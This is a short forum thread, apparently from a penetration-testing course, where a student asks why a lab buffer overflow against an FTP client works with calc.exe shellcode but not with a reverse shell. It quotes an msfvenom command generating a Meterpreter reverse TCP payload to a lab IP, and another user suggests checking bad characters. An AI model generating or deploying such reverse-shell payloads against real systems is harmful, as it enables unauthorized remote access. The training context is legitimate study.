Buffer Overflow works but no reverse shell

[felipe.scer-19966b95]

Hi, im having issues with making the reverse shell with the ftp 32 bits client.
The BoF works fine with the calc.exe shellcode as showing on the labs,but when i generate the reverse shell(meterpreter and generics too),it doesnt give me the shell:

FTP BoF exploited with calc.exe shellcode:

FTP BoF with reverse shell:

Meterpreter payload:

I generated the reverse shell shellcode with the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.22 LPORT=4444 EXITFUNC=thread -b “\x00” -f c

And i get an error:

I used the debugshellcode.cpp to test my reverse shell shellcode and it works fine:

[s.einfeldt-757cb8536]

Did you check for bad chars in your shellcode?

I think the INE course does not even mention this topic if I remember right.